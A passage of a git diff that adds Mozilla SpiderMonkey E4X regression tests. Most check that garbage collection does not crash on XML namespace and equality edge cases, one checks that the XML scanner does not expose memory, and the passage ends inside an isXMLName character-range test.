+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+var N = 100 * 1000;
+
+function prepare_list(N)
+{
+ var head = {};
+ var cursor = head;
+ for (var i = 0; i != N; ++i) {
+ var ns = new Namespace();
+ var x = <xml/>;
+ x.addNamespace(ns);
+ cursor.next = x;
+ cursor = ns;
+ }
+ return head;
+}
+
+var head = prepare_list(N);
+
+gc();
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/GC/regress-292455.js b/e4x/GC/regress-292455.js
new file mode 100755
index 0000000..4239aed
--- /dev/null
+++ b/e4x/GC/regress-292455.js
@@ -0,0 +1,79 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2005
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Martin Honnen
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-292455.js';
+
+var summary = "Regress - Do not crash on gc";
+var BUGNUMBER = 292455;
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+function output (text)
+{
+ if (typeof alert != 'undefined')
+ {
+ alert(text);
+ }
+ else if (typeof print != 'undefined')
+ {
+ print(text);
+ }
+}
+
+function doTest ()
+{
+ var html = <div xml:lang="en">
+ <h1>Kibology for all</h1>
+ <p>Kibology for all. All for Kibology. </p>
+ </div>;
+ // insert new child as last child
+ html.* += <h1>All for Kibology</h1>;
+ gc();
+ output(html);
+ html.* += <p>All for Kibology. Kibology for all.</p>;
+ gc();
+ output(html);
+}
+
+doTest();
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/GC/regress-313952-01.js b/e4x/GC/regress-313952-01.js
new file mode 100755
index 0000000..9409398
--- /dev/null
+++ b/e4x/GC/regress-313952-01.js
@@ -0,0 +1,68 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2005
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Igor Bukanov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-313952-01.js';
+
+var summary = "13.3.5.2 - root QName.uri";
+var BUGNUMBER = 313952;
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+printStatus("This test requires TOO_MUCH_GC");
+
+var str = " foo:bar".substring(1);
+expect = new QName(" foo:bar".substring(2), "a").uri;
+
+var likeString = {
+ toString: function() {
+ var tmp = str;
+ str = null;
+ return tmp;
+ }
+};
+
+actual = new QName(likeString, "a").uri;
+
+printStatus(actual.length);
+
+printStatus(expect === actual);
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/GC/regress-313952-02.js b/e4x/GC/regress-313952-02.js
new file mode 100755
index 0000000..d02a172
--- /dev/null
+++ b/e4x/GC/regress-313952-02.js
@@ -0,0 +1,77 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2005
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Igor Bukanov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-313952-02.js';
+
+var summary = "13.3.5.2 - root QName.uri";
+var BUGNUMBER = 313952;
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+var str = String(1);
+var expected = String(1);
+
+var x = new XML("text");
+
+x.function::toString = function() {
+ var tmp = str;
+ str = null;
+ return tmp;
+}
+
+var TWO = 2.0;
+
+var likeString = {
+ toString: function() {
+ var tmp = new XML("");
+ tmp = (tmp == "string");
+ if (typeof gc == "function")
+ gc();
+ for (var i = 0; i != 40000; ++i) {
+ tmp = 1e100 * TWO;
+ tmp = null;
+ }
+ return expected;
+ }
+}
+
+TEST(1, true, x == likeString);
+
+END();
diff --git a/e4x/GC/regress-324117.js b/e4x/GC/regress-324117.js
new file mode 100755
index 0000000..de51b0a
--- /dev/null
+++ b/e4x/GC/regress-324117.js
@@ -0,0 +1,98 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Igor Bukanov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-324117.js';
+
+var summary = "GC hazard during namespace scanning";
+var BUGNUMBER = 324117;
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+function prepare(N)
+{
+ var xml = <xml/>;
+ var ns1 = new Namespace("text1");
+ var ns2 = new Namespace("text2");
+ xml.addNamespace(ns1);
+ xml.addNamespace(ns2);
+
+ // Prepare list to trigger DeutschSchorrWaite call during GC
+ cursor = xml;
+ for (var i = 0; i != N; ++i) {
+ if (i % 2 == 0)
+ cursor = [ {a: 1}, cursor ];
+ else
+ cursor = [ cursor, {a: 1} ];
+ }
+ return cursor;
+}
+
+function check(list, N)
+{
+ // Extract xml to verify
+ for (var i = N; i != 0; --i) {
+ list = list[i % 2];
+ }
+ var xml = list;
+ if (typeof xml != "xml")
+ return false;
+ var array = xml.inScopeNamespaces();
+ if (array.length !== 3)
+ return false;
+ if (array[0].uri !== "")
+ return false;
+ if (array[1].uri !== "text1")
+ return false;
+ if (array[2].uri !== "text2")
+ return false;
+
+ return true;
+}
+
+var N = 64000;
+var list = prepare(N);
+gc();
+var ok = check(list, N);
+printStatus(ok);
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/GC/regress-324278.js b/e4x/GC/regress-324278.js
new file mode 100755
index 0000000..338bc48
--- /dev/null
+++ b/e4x/GC/regress-324278.js
@@ -0,0 +1,86 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Igor Bukanov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-324278.js';
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 324278;
+var summary = 'GC without recursion';
+var actual;
+var expect;
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+var N = 1000 * 1000;
+
+print("N = " + N);
+
+function prepare_list(N)
+{
+ var cursor = null;
+ for (var i = 0; i != N; ++i) {
+ var ns = new Namespace("protocol:address");
+ ns.property = cursor;
+ var xml = <xml/>;
+ xml.addNamespace(ns);
+ cursor = {xml: xml};
+ }
+ return cursor;
+}
+
+print("preparing...");
+
+var list = prepare_list(N);
+
+print("prepared for "+N);
+gc();
+
+var count = 0;
+while (list && list.xml.inScopeNamespaces().length > 0 && list.xml.inScopeNamespaces()[1]) {
+ list = list.xml.inScopeNamespaces()[1].property;
+ ++count;
+}
+
+expect = N;
+actual = count;
+
+TEST(1, expect, actual);
+
+gc();
+
+END();
diff --git a/e4x/GC/regress-339785.js b/e4x/GC/regress-339785.js
new file mode 100755
index 0000000..8488b0d
--- /dev/null
+++ b/e4x/GC/regress-339785.js
@@ -0,0 +1,92 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Igor Bukanov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-339785.js';
+
+var summary = "scanner: memory exposure to scripts";
+var BUGNUMBER = 339785;
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+function evalXML(N)
+{
+ var str = Array(N + 1).join('a'); // str is string of N a
+ src = "var x = <xml>&"+str+";</xml>;";
+ try {
+ eval(src);
+ return "Should have thrown unknown entity error";
+ } catch (e) {
+ return e.message;
+ }
+ return "Unexpected";
+}
+
+var N1 = 1;
+var must_be_good = evalXML(N1);
+expect = 'unknown XML entity a';
+actual = must_be_good;
+TEST(1, expect, actual);
+
+function testScanner()
+{
+ for (var power = 2; power != 15; ++power) {
+ var N2 = (1 << power) - 2;
+ var can_be_bad = evalXML(N2);
+ var diff = can_be_bad.length - must_be_good.length;
+ if (diff != 0 && diff != N2 - N1) {
+ return "Detected memory exposure at entity length of "+(N2+2);
+ }
+ }
+ return "Ok";
+}
+
+expect = "Ok";
+
+// repeat test since test does not always fail
+
+for (var iTestScanner = 0; iTestScanner < 100; ++iTestScanner)
+{
+ actual = testScanner();
+ TEST(iTestScanner+1, expect, actual);
+}
+
+
+END();
diff --git a/e4x/GC/regress-357063-01.js b/e4x/GC/regress-357063-01.js
new file mode 100755
index 0000000..93ffb03
--- /dev/null
+++ b/e4x/GC/regress-357063-01.js
@@ -0,0 +1,73 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Igor Bukanov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-357063-01.js';
+
+var BUGNUMBER = 357063;
+var summary = 'GC hazard in XMLEquality';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+
+var xml = new XML("<xml><a>text</a><a>text</a></xml>");
+var xml2 = new XML("<xml><a>text</a><a>text</a></xml>");
+var list1 = xml.a;
+var list2 = xml2.a;
+
+XML.prototype.function::toString = function() {
+ if (xml2) {
+ delete list2[1];
+ delete list2[0];
+ xml2 = null;
+ gc();
+ }
+ return "text";
+}
+
+var value = list1 == list2;
+
+print('list1: ' + list1.toXMLString());
+print('list2: ' + list2.toXMLString());
+print('list1 == list2: ' + value);
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/GC/regress-357063-02.js b/e4x/GC/regress-357063-02.js
new file mode 100755
index 0000000..495cacc
--- /dev/null
+++ b/e4x/GC/regress-357063-02.js
@@ -0,0 +1,69 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Igor Bukanov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-357063-02.js';
+
+var BUGNUMBER = 357063;
+var summary = 'GC hazard in XMLEquality';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+var xml1 = new XML("<xml>text<a>B</a></xml>");
+var xml2 = new XML("<xml>text<a>C</a></xml>");
+
+XML.prototype.function::toString = function() {
+ if (xml2) {
+ delete xml2.*;
+ xml2 = null;
+ gc();
+ }
+ return "text";
+}
+
+print('xml1: ' + xml1);
+print('xml2: ' + xml2);
+
+if (xml1 == xml2)
+ throw "unexpected result";
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/GC/shell.js b/e4x/GC/shell.js
new file mode 100755
index 0000000..123ca9e
--- /dev/null
+++ b/e4x/GC/shell.js
@@ -0,0 +1 @@
+gTestsubsuite = 'GC';
diff --git a/e4x/Global/13.1.2.1.js b/e4x/Global/13.1.2.1.js
new file mode 100644
index 0000000..553b7a5
--- /dev/null
+++ b/e4x/Global/13.1.2.1.js
@@ -0,0 +1,559 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+ *
+ * ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is Rhino code, released
+ * May 6, 1999.
+ *
+ * The Initial Developer of the Original Code is
+ * Netscape Communications Corporation.
+ * Portions created by the Initial Developer are Copyright (C) 1997-2000
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Igor Bukanov
+ * Bob Clary
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = '13.1.2.1.js';
+
+START("13.1.2.1 - isXMLName()");
+
+var BUGNUMBER = 289630;
+printBugNumber(BUGNUMBER);
+
+
+TEST(1, true, typeof isXMLName == "function");
+
+
+// Check converting to string
+var object = { toString: function() { return "text"; } };
+
+TEST(2, true, isXMLName(object));
+
+// This throws TypeError => isXMLName should give false
+var object2 = { toString: function() { return this; } };
+TEST(3, false, isXMLName(object2));
+
+// Check indirect throw of TypeError
+var object3 = { toString: function() { return String(object2); } };
+TEST(3, false, isXMLName(object3));
+
+var object4 = { toString: function() { throw 1; } };
+try {
+ isXMLName(object4);
+ SHOULD_THROW(4);
+} catch (e) {
+ TEST(4, 1, e);
+}
+
+// Check various cases of http://w3.org/TR/xml-names11/#NT-NCName
+
+TEST(5, false, isXMLName(""));
+
+var START = 0x1;
+var OTHER = 0x2;
+var chars = init();
+var marker;
+
+// Letter
+
+// Letter::= BaseChar | Ideographic
+
+marker = START | OTHER;
+
+// BaseChar
+
+markRange(chars, 0x0041, 0x005A, marker);
+markRange(chars, 0x0061, 0x007A, marker);
+markRange(chars, 0x00C0, 0x00D6, marker);
+markRange(chars, 0x00D8, 0x00F6, marker);
+markRange(chars, 0x00F8, 0x00FF, marker);
+markRange(chars, 0x0100, 0x0131, marker);
+markRange(chars, 0x0134, 0x013E, marker);
+markRange(chars, 0x0141, 0x0148, marker);
+markRange(chars, 0x014A, 0x017E, marker);
+markRange(chars, 0x0180, 0x01C3, marker);
+markRange(chars, 0x01CD, 0x01F0, marker);
+markRange(chars, 0x01F4, 0x01F5, marker);
+markRange(chars, 0x01FA, 0x0217, marker);
+markRange(chars, 0x0250, 0x02A8, marker);
+markRange(chars, 0x02BB, 0x02C1, marker);
+markRange(chars, 0x0386, 0x0386, marker);
+markRange(chars, 0x0388, 0x038A, marker);
+markRange(chars, 0x038C, 0x038C, marker);
+markRange(chars, 0x038E, 0x03A1, marker);
+markRange(chars, 0x03A3, 0x03CE, marker);
+markRange(chars, 0x03D0, 0x03D6, marker);
+markRange(chars, 0x03DA, 0x03DA, marker);
+markRange(chars, 0x03DC, 0x03DC, marker);
+markRange(chars, 0x03DE, 0x03DE, marker);
+markRange(chars, 0x03E0, 0x03E0, marker);
+markRange(chars, 0x03E2, 0x03F3, marker);
+markRange(chars, 0x0401, 0x040C, marker);
+markRange(chars, 0x040E, 0x044F, marker);
+markRange(chars, 0x0451, 0x045C, marker);
+markRange(chars, 0x045E, 0x0481, marker);
+markRange(chars, 0x0490, 0x04C4, marker);
+markRange(chars, 0x04C7, 0x04C8, marker);
+markRange(chars, 0x04CB, 0x04CC, marker);
+markRange(chars, 0x04D0, 0x04EB, marker);
+markRange(chars, 0x04EE, 0x04F5, marker);
+markRange(chars, 0x04F8, 0x04F9, marker);
+markRange(chars, 0x0531, 0x0556, marker);
+markRange(chars, 0x0559, 0x0559, marker);
+markRange(chars, 0x0561, 0x0586, marker);
+markRange(chars, 0x05D0, 0x05EA, marker);
+markRange(chars, 0x05F0, 0x05F2, marker);
+markRange(chars, 0x0621, 0x063A, marker);
+markRange(chars, 0x0641, 0x064A, marker);
+markRange(chars, 0x0671, 0x06B7, marker);
+markRange(chars, 0x06BA, 0x06BE, marker);
+markRange(chars, 0x06C0, 0x06CE, marker);
+markRange(chars, 0x06D0, 0x06D3, marker);
+markRange(chars, 0x06D5, 0x06D5, marker);
+markRange(chars, 0x06E5, 0x06E6, marker);
+markRange(chars, 0x0905, 0x0939, marker);
+markRange(chars, 0x093D, 0x093D, marker);
+markRange(chars, 0x0958, 0x0961, marker);
+markRange(chars, 0x0985, 0x098C, marker);
+markRange(chars, 0x098F, 0x0990, marker);
+markRange(chars, 0x0993, 0x09A8, marker);
+markRange(chars, 0x09AA, 0x09B0, marker);
+markRange(chars, 0x09B2, 0x09B2, marker);
+markRange(chars, 0x09B6, 0x09B9, marker);
+markRange(chars, 0x09DC, 0x09DD, marker);
+markRange(chars, 0x09DF, 0x09E1, marker);
+markRange(chars, 0x09F0, 0x09F1, marker);
+markRange(chars, 0x0A05, 0x0A0A, marker);
+markRange(chars, 0x0A0F, 0x0A10, marker);
+markRange(chars, 0x0A13, 0x0A28, marker);
+markRange(chars, 0x0A2A, 0x0A30, marker);
+markRange(chars, 0x0A32, 0x0A33, marker);
+markRange(chars, 0x0A35, 0x0A36, marker);
+markRange(chars, 0x0A38, 0x0A39, marker);
+markRange(chars, 0x0A59, 0x0A5C, marker);
+markRange(chars, 0x0A5E, 0x0A5E, marker);
+markRange(chars, 0x0A72, 0x0A74, marker);
+markRange(chars, 0x0A85, 0x0A8B, marker);
+markRange(chars, 0x0A8D, 0x0A8D, marker);
+markRange(chars, 0x0A8F, 0x0A91, marker);
+markRange(chars, 0x0A93, 0x0AA8, marker);
+markRange(chars, 0x0AAA, 0x0AB0, marker);
+markRange(chars, 0x0AB2, 0x0AB3, marker);
+markRange(chars, 0x0AB5, 0x0AB9, marker);
+markRange(chars, 0x0ABD, 0x0ABD, marker);
+markRange(chars, 0x0AE0, 0x0AE0, marker);
+markRange(chars, 0x0B05, 0x0B0C, marker);
+markRange(chars, 0x0B0F, 0x0B10, marker);
+markRange(chars, 0x0B13, 0x0B28, marker);
+markRange(chars, 0x0B2A, 0x0B30, marker);
+markRange(chars, 0x0B32, 0x0B33, marker);
+markRange(chars, 0x0B36, 0x0B39, marker);
+markRange(chars, 0x0B3D, 0x0B3D, marker);
+markRange(chars, 0x0B5C, 0x0B5D, marker);
+markRange(chars, 0x0B5F, 0x0B61, marker);
+markRange(chars, 0x0B85, 0x0B8A, marker);
+markRange(chars, 0x0B8E, 0x0B90, marker);
+markRange(chars, 0x0B92, 0x0B95, marker);
+markRange(chars, 0x0B99, 0x0B9A, marker);
+markRange(chars, 0x0B9C, 0x0B9C, marker);
+markRange(chars, 0x0B9E, 0x0B9F, marker);
+markRange(chars, 0x0BA3, 0x0BA4, marker);
+markRange(chars, 0x0BA8, 0x0BAA, marker);
+markRange(chars, 0x0BAE, 0x0BB5, marker);
+markRange(chars, 0x0BB7, 0x0BB9, marker);
+markRange(chars, 0x0C05, 0x0C0C, marker);
+markRange(chars, 0x0C0E, 0x0C10, marker);
+markRange(chars, 0x0C12, 0x0C28, marker);
+markRange(chars, 0x0C2A, 0x0C33, marker);
+markRange(chars, 0x0C35, 0x0C39, marker);
+markRange(chars, 0x0C60, 0x0C61, marker);
+markRange(chars, 0x0C85, 0x0C8C, marker);
+markRange(chars, 0x0C8E, 0x0C90, marker);
+markRange(chars, 0x0C92, 0x0CA8, marker);
+markRange(chars, 0x0CAA, 0x0CB3, marker);
+markRange(chars, 0x0CB5, 0x0CB9, marker);
+markRange(chars, 0x0CDE, 0x0CDE, marker);
+markRange(chars, 0x0CE0, 0x0CE1, marker);
+markRange(chars, 0x0D05, 0x0D0C, marker);
+markRange(chars, 0x0D0E, 0x0D10, marker);
+markRange(chars, 0x0D12, 0x0D28, marker);
+markRange(chars, 0x0D2A, 0x0D39, marker);
+markRange(chars, 0x0D60, 0x0D61, marker);
+markRange(chars, 0x0E01, 0x0E2E, marker);
+markRange(chars, 0x0E30, 0x0E30, marker);
